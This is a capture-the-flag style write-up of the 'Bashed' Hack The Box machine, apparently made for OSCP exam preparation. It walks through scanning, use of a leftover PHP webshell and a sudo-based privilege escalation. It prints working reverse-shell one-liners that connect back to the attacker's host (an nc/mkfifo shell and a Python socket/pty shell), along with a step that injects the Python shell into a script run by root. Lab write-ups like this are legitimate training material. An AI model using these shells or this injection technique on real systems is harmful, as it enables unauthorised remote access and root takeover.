Contents

Overview

This is the fifth box in my OSCP prep series.

Box Details

IP User-Rated Difficulty OS Date Started Date Completed
10.10.10.68 3.3 Linux 2021-05-05 2021-05-05

This box was pretty easy. The initial foothold was quite simple, and just involved digging around a website to find a webshell that had been left there by a developer. Getting user took me about half an hour including scans.

Priv esc took a little longer - I wasn’t working on it with 100% concentration so missed a few key things that I should have spotted straight away. Specifically, www-data could run commands as scriptmanager, which allowed us to edit a script that was run by root and cause it to instead spawn us a shell. The priv esc was very simple once you found it, but I just looked in the wrong places for a little while. Overall the box took about 2.5 hours.

I did learn a bit about upgrading shells - part of the reason it took me a little longer was because working out of a webshell was slower due to its lower interactivity, but I found a nice new Python reverse shell that I can use in future.

Ratings

I rated user a 2 for difficulty as there was a bit more guesswork and investigation involved to find a foothold, but ultimately the steps were simple and there was no privesc from www-data to arrexel.

I rated root a 2 also, but considered rating it a 3. I felt a bit rusty on this box, and struggled a little with remembering my best practices - but overall the privesc was very simple, and once I figured out where to look and managed to upgrade my shell it was plain sailing.

Tags

#writeup #oscp-prep #linux #web #file-misconfiguration #no-metasploit

Enumeration

nmap

I did an initial nmap scan:

┌──(mac㉿kali)-[~/Documents/HTB/bashed]
└─$ nmap -sC -sV -v -oA nmap/ 10.10.10.68
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 08:29 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:29
Completed NSE at 08:29, 0.00s elapsed
Initiating NSE at 08:29
Completed NSE at 08:29, 0.00s elapsed
Initiating NSE at 08:29
Completed NSE at 08:29, 0.00s elapsed
Initiating Ping Scan at 08:29
Scanning 10.10.10.68 [2 ports]
Completed Ping Scan at 08:29, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:29
Completed Parallel DNS resolution of 1 host. at 08:29, 0.00s elapsed
Initiating Connect Scan at 08:29
Scanning 10.10.10.68 [1000 ports]
Discovered open port 80/tcp on 10.10.10.68
Completed Connect Scan at 08:29, 0.48s elapsed (1000 total ports)
Initiating Service scan at 08:29
Scanning 1 service on 10.10.10.68
Completed Service scan at 08:30, 6.06s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.10.68.
Initiating NSE at 08:30
Completed NSE at 08:30, 0.64s elapsed
Initiating NSE at 08:30
Completed NSE at 08:30, 0.10s elapsed
Initiating NSE at 08:30
Completed NSE at 08:30, 0.00s elapsed
Nmap scan report for 10.10.10.68
Host is up (0.029s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

NSE: Script Post-scanning.
Initiating NSE at 08:30
Completed NSE at 08:30, 0.00s elapsed
Initiating NSE at 08:30
Completed NSE at 08:30, 0.00s elapsed
Initiating NSE at 08:30
Completed NSE at 08:30, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds

This shows just a web server, titled “Arrexel’s Development SIte” - this exposes a potential user. It is running Apache 2.4.18 on Ubuntu.

Full Port Scan

As the standard nmap finished so quickly, I cancelled out of the usual sleep 300 and just ran a full port scan:

┌──(mac㉿kali)-[~/Documents/HTB/bashed]
└─$ nmap -p- -oA nmap/all-ports 10.10.10.68
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 08:33 BST
Nmap scan report for 10.10.10.68
Host is up (0.025s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 442.66 seconds

This found nothing new.

UDP Scan

I also ran a UDP scan, which I don’t usually do - but as there was only one port open, I thought it was worth doing. Scanning UDP requires root privileges:

┌──(mac㉿kali)-[~/Documents/HTB/bashed]
└─$ sudo nmap -sU -oA nmap/udp 10.10.10.68
[sudo] password for mac: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 09:14 BST
Nmap scan report for 10.10.10.68
Host is up (0.023s latency).
All 1000 scanned ports on 10.10.10.68 are closed

Nmap done: 1 IP address (1 host up) scanned in 1086.88 seconds

There was nothing running on UDP.

Gobuster

Once I found the site I ran a gobuster:

┌──(mac㉿kali)-[~/Documents/HTB/bashed]
└─$ gobuster dir -u http://10.10.10.68 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/05 09:04:26 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 290]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/.html                (Status: 403) [Size: 291]                                 
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]    
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]   
/.htm                 (Status: 403) [Size: 290]                                 
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]    
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]    
/.                    (Status: 200) [Size: 7743]                                 
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]  
/.htaccess            (Status: 403) [Size: 295]                                  
/.php3                (Status: 403) [Size: 291]                                  
/.phtml               (Status: 403) [Size: 292]                                  
/.htc                 (Status: 403) [Size: 290]                                  
/.php5                (Status: 403) [Size: 291]                                  
/.html_var_DE         (Status: 403) [Size: 298]                                  
/.php4                (Status: 403) [Size: 291]                                  
/server-status        (Status: 403) [Size: 299]                                  
/.htpasswd            (Status: 403) [Size: 295]                                  
/.html.               (Status: 403) [Size: 292]                                  
/.html.html           (Status: 403) [Size: 296]                                  
/.htpasswds           (Status: 403) [Size: 296]                                  
/.htm.                (Status: 403) [Size: 291]                                  
/.htmll               (Status: 403) [Size: 292]                                  
/.phps                (Status: 403) [Size: 291]                                  
/.html.old            (Status: 403) [Size: 295]                                  
/.ht                  (Status: 403) [Size: 289]                                  
/.html.bak            (Status: 403) [Size: 295]                                  
/.htm.htm             (Status: 403) [Size: 294]                                  
/.hta                 (Status: 403) [Size: 290]                                  
/.htgroup             (Status: 403) [Size: 294]                                  
/.html1               (Status: 403) [Size: 292]                                  
/.html.LCK            (Status: 403) [Size: 295]                                  
/.html.printable      (Status: 403) [Size: 301]                                  
/.htm.LCK             (Status: 403) [Size: 294]                                  
/.html.php            (Status: 403) [Size: 295]                                  
/.htaccess.bak        (Status: 403) [Size: 299]                                  
/.htx                 (Status: 403) [Size: 290]                                  
/.htmls               (Status: 403) [Size: 292]                                  
/.htlm                (Status: 403) [Size: 291]                                  
/.htm2                (Status: 403) [Size: 291]                                  
/.html-               (Status: 403) [Size: 292]                                  
/.htuser              (Status: 403) [Size: 293]                                  
                                                                                 
===============================================================
2021/05/05 09:06:50 Finished
===============================================================

This revealed a number of useful directories, including the /dev directory which would come in handy later.

Website

This website seems to be a promotional page for a replica bash shell written in PHP.

The links all point back to index.html

I also checked the source, but there were no hidden links and the form submission didn’t go anywhere. It did mention PHP:

As the source and the site itself both mention php, I quickly checked if the .php extension was valid:

But it seemed the index page at least was running on pure HTML.

The blog post, dated in 2017, suggests that the web shell is available on the server, and even gives us a potential URL:

We can also see the source code at: https://github.com/Arrexel/phpbash. We’ll come back to this if needed.

I tried the URL from the screenshot, but it was not found:

Neither was /phpbash.php.

PHP Web Shell

I ran a quick gobuster to check for potential directories for the script. It found /php/ and /dev/. I tried /php/phpbash.php, and then /dev/phpbash.php, which worked:

I did some very quick enumeration, looking for users and quickly finding that arrexel’s home directory was world-readable. This gives us the user flag:

Trying to Get a Reverse Shell

Before I enumerated more for priv esc, I wanted a better shell. I tried a few commands, to no avail:

I googled “netcat openbsd reverse shell” and tried the following commands:

www-data@bashed:/var/www/html/dev# rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 9001 >/tmp/f

www-data@bashed:/var/www/html/dev# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.13 9001 >/tmp/f

But I got no result.

I also tried the upload custom command mentioned in the source code, to no avail.

I decided to continue with enumeration and come back to this once I’d rooted the box and see if anyone had done it in a writeup. I would eventually upgrade my shell.

Privesc

Enumeration

I tried some basic enumeration from within the webshell, first checking uname and id:

www-data@bashed
:/var/www/html/dev# uname -a

Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

www-data@bashed
:/var/www/html/dev# id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Then tried looking for suid binaries:

www-data@bashed:/var/www/html/dev# find / -perm 4000 2>/dev/null

The redirect to /dev/null did not work, so I’ll spare you the permission denied error messages from /proc. It did not find any suid bits, but it did highlight some potentially interesting files in a /scripts directory:

find: '/scripts/test.py': Permission denied  
find: '/scripts/test.txt': Permission denied  
find: '/root': Permission denied  
find: '/home/arrexel/.cache': Permission denied  
find: '/lost+found': Permission denied  
find: '/sys/fs/fuse/connections/38': Permission denied  
find: '/sys/kernel/debug': Permission denied
find: '/var/cache/ldconfig': Permission denied  
find: '/var/cache/apt/archives/partial': Permission denied  
find: '/var/spool/rsyslog': Permission denied  
find: '/var/spool/cron/crontabs/root': Permission denied  
find: '/var/log/apache2': Permission denied  
find: '/var/tmp/systemd-private-6bbc99fde6194264ac09780fc8275331-systemd-timesyncd.service-atvORU': Permission denied  
find: '/var/tmp/systemd-private-c2ef94ff0af9459f95f8df49a4191700-systemd-timesyncd.service-NAuxhT': Permission denied  
find: '/var/lib/apt/lists/partial': Permission denied  
find: '/var/lib/php/sessions': Permission denied  
find: '/run/sudo': Permission denied  
find: '/run/log/journal/37f474e246e601006b77c9705a259ee9': Permission denied  
find: '/run/systemd/inaccessible': Permission denied  
find: '/etc/ssl/private': Permission denied  
find: '/tmp/systemd-private-6bbc99fde6194264ac09780fc8275331-systemd-timesyncd.service-DAJK4C': Permission denied  
find: '/tmp/vmware-root': Permission denied

Enumerating files in arrexel:

www-data@bashed:/var/www/html/dev# ls -la /home/arrexel

total 36
drwxr-xr-x 4 arrexel arrexel 4096 Dec 4 2017 .
drwxr-xr-x 4 root root 4096 Dec 4 2017 ..
-rw------- 1 arrexel arrexel 1 Dec 23 2017 .bash_history
-rw-r--r-- 1 arrexel arrexel 220 Dec 4 2017 .bash_logout
-rw-r--r-- 1 arrexel arrexel 3786 Dec 4 2017 .bashrc
drwx------ 2 arrexel arrexel 4096 Dec 4 2017 .cache
drwxrwxr-x 2 arrexel arrexel 4096 Dec 4 2017 .nano
-rw-r--r-- 1 arrexel arrexel 655 Dec 4 2017 .profile
-rw-r--r-- 1 arrexel arrexel 0 Dec 4 2017 .sudo_as_admin_successful
-r--r--r-- 1 arrexel arrexel 33 Dec 4 2017 user.txt

.sudo_as_admin_successful looks interesting, but is empty. The .nano directory was also empty.

The scripts directory was interesting, but I was blocked from looking at it:

www-data@bashed:/var/www/html/dev# ls -la /scripts
  
ls: cannot access '/scripts/..': Permission denied  
ls: cannot access '/scripts/test.py': Permission denied  
ls: cannot access '/scripts/test.txt': Permission denied  
ls: cannot access '/scripts/.': Permission denied  
total 0  
d????????? ? ? ? ? ? .  
d????????? ? ? ? ? ? ..  
\-????????? ? ? ? ? ? test.py  
\-????????? ? ? ? ? ? test.txt  

www-data@bashed:/var/www/html/dev# cat /scripts/test.py
  
cat: /scripts/test.py: Permission denied  

www-data@bashed:/var/www/html/dev# cat /scripts/test.txt
  
cat: /scripts/test.txt: Permission denied

I tried looking for other interesting files in /var/www/html. There was a config.php file, but nothing in it besides a fake email for the php/sendMail.php file.

I also tried reading the .bash_history files for arrexel and scriptmanager, but I was not allowed.

Linpeas

I cracked and tried to run linpeas. As this is the first time I’ve done this in this series, I’ll briefly explain the file transfer process. linpeas.sh is hosted on my box in a directory full of enumeration scripts. I can run a python server in this directory with python3 -m http.server, and download files from it with wget [IP]:8000/linpeas.sh - this is the easiest way to transfer files to the remote machine.

I downloaded it to the box, gave it permissions to be executed, and ran it:

www-data@bashed:/tmp# wget 10.10.14.13:8000/linpeas.sh

  
\--2021-05-05 02:18:03-- http://10.10.14.13:8000/linpeas.sh  
Connecting to 10.10.14.13:8000... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 325084 (317K) \[text/x-sh\]  
Saving to: 'linpeas.sh'

www-data@bashed:/tmp# chmod +x linpeas.sh

  
chmod: invalid mode: 'x'  
Try 'chmod --help' for more information.  

www-data@bashed:/tmp# chmod 777 linpeas.sh

  

www-data@bashed:/tmp# ls -la

  
total 360  
drwxrwxrwt 10 root root 4096 May 5 02:18 .  
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..  
drwxrwxrwt 2 root root 4096 May 5 00:29 .ICE-unix  
drwxrwxrwt 2 root root 4096 May 5 00:29 .Test-unix  
drwxrwxrwt 2 root root 4096 May 5 00:29 .X11-unix  
drwxrwxrwt 2 root root 4096 May 5 00:29 .XIM-unix  
drwxrwxrwt 2 root root 4096 May 5 00:29 .font-unix  
drwxrwxrwt 2 root root 4096 May 5 00:29 VMwareDnD  
\-rwxrwxrwx 1 www-data www-data 325084 Feb 11 07:48 linpeas.sh  
drwx------ 3 root root 4096 May 5 00:29 systemd-private-6bbc99fde6194264ac09780fc8275331-systemd-timesyncd.service-DAJK4C  
drwx------ 2 root root 4096 May 5 00:29 vmware-root  

www-data@bashed:/tmp# ./linpeas.sh

It was harder to read without colours, but \[1;31m prefix indicates red.

There were no interesting processes listed, although dbus was highlighted. It also highlighted sudo as being vulnerable, but that was to a recent CVE and I assumed that was an unintended path as the box was from 2018.

\[1;33m\[+\] \[1;32mSudo version  
\[0m\[1;34m\[i\] \[1;33mhttps://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version  
\[0mSudo version \[1;31m1.8.16\[0m
\[1;33m\[+\] \[1;32mUSBCreator  
\[0m\[1;34m\[i\] \[1;33mhttps://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation  
\[0m  
\[1;33m\[+\] \[1;32mPATH  
\[0m\[1;34m\[i\] \[1;33mhttps://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses  
\[0m/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
New path exported: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Then it highlighted the most basic of enum commands that I had forgotten - checking sudo privileges:

User \[1;31mwww-data\[0m may run the following commands on bashed:  
(scriptmanager : scriptmanager) \[1;31mNOPASSWD\[0m: \[1;31mALL\[0m

Besides this, it found no interesting cron jobs or SUID/SGID binaries, or any passwords.

scriptmanager

As always, I’ve detailed the important parts of my experimenting as briefly as I can, and included anything new that I learned. Some of this may be obvious to those with more experience, so as always you can skip to the working exploit.

www-data can run commands as scriptmanager:

www-data@bashed:/# sudo -l

Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

We can use this to read the contents of the /scripts directory:

www-data@bashed:/# sudo -u scriptmanager ls -la scripts

total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 May 5 02:41 test.txt

www-data@bashed:/tmp# sudo -u scriptmanager cat /scripts/test.py

  
f = open("test.txt", "w")  
f.write("testing 123!")  
f.close

It looked like test.txt was owned by root but could still be written to, so I wondered if the test.py script somehow ran as root. I wanted to edit it to read the root flag, but was sick of my shell at this point, so tried harder to find one.

Upgrading Shell

I ran this in the webshell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

And I got a lovely shell back:

I quickly upgraded my shell:

(i’m not sure why it says nc -lnvp 9001 in the above)

Experimenting with the Python Script

However I couldn’t find an easy way to edit the file - using vi seemed to break down:

I could enter edit mode by pressing i, but the arrow keys didn’t work and pressing delete just capitalised the characters…

I tried echoing some text:

www-data@bashed:/$ sudo -u scriptmanager echo 'f = open("/root/root.txt","r");print(f.read())'  >> /scripts/test.py

But got this error:

bash: /scripts/test.py: Permission denied

Again, with > instead of >>:

www-data@bashed:/$ sudo -u scriptmanager echo "a" > /scripts/test.py
bash: /scripts/test.py: Permission denied

It’s as if it’s trying to execute the final part of the command as www-data. I googled this and found an example using tee:

echo 'f = open("/root/root.txt","r");print(f.read())' | sudo -u scriptmanager tee -a /scripts/test.py
f = open("/root/root.txt","r");print(f.read())
www-data@bashed:/$ sudo -u scriptmanager cat /scripts/test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
f = open("/root/root.txt","r");print(f.read())

This worked! However, running the script gives us a permission denied when opening the file:

www-data@bashed:/$ sudo -u scriptmanager python /scripts/test.py
Traceback (most recent call last):
  File "/scripts/test.py", line 1, in <module>
    f = open("test.txt", "w")
IOError: [Errno 13] Permission denied: 'test.txt'

Editing test.py to get a Shell as Root

So the program does not run as root - but maybe a process running as root is setup to regularly run it?

Linpeas didn’t show up a cron job, but I thought I’d take a shot at spawning a shell and hoping the script got executed. I edited it to reuse the shell command from before:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' | sudo -u scriptmanager tee -a /scripts/test.py

I checked that it looked okay:

www-data@bashed:/$ sudo -u scriptmanager cat /scripts/test.py   
f = open("test.txt", "w")
f.write("testing 123!")
f.close
f = open("/root/root.txt","r");print(f.read())
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

Then I just waited…

After 30 seconds or so I got a shell!

We can grab the flag:

That’s the box!

Key Lessons

This privesc was a little messy from me. I struggled getting an interactive shell, and missed some basic enumeration like sudo -l and checking for scheduled processes.

I also could have handled the .py file editing better - 0xdf’s writeup involved moving the file to .py.old and making a new one, which would have helped in the cleanup process (and for detecting that it was being run in the first place).

I also now have a new Python reverse shell to use - import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")